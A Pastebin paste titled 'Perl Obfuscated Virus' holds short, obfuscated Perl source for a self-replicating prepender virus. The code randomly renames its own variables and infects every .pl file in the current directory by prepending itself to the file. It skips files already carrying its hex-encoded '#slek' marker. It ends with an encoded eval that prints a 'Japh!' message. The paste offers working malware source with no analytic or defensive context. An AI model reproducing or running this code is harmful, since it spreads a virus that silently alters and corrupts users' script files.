Advertisement
sleksey

Perl Obfuscated Virus

Apr 3rd, 2023
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.57 KB | None | 0 0
  1. #slek
  2. #Obfuscated perl prepender + polymorphic.
  3.  
  4. my$v=do{local(@ARGV=>$/)=$0;<>};$v=~s{(?<!\\)(\$[a-z]\b)}{$cm{$1}||=do{my$k=join"\n"=>(split/\n/,$k)[0..9]
  5. ;sprintf("\$%s"=>chr(int(rand(26))+97));};}eg;(eval{( sub{my($p)=@_;open(my$d=>'+<'=>$p);if(<$d> &&!(<$d>=~
  6. /\x23\x73\x6c\x65\x6b/)){open(my$d=>'+<'=>$p);my$o=~s/.//g;${'x'.'y'}=do{local$/;<$d>};$o=~s/(.*)/$v.${'x'.
  7. 'y'}/e;seek$d=>0=>0;print$d($o);truncate$d=>tell$d;close$d;}close$d;})->($_)})foreach grep{/\.pl$/}glob('*')
  8. ;;my%cm;eval join(''=>map{chr($_-1)}split/,/=>'113,115,106,111,117,35,75,98,113,105,34,35');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement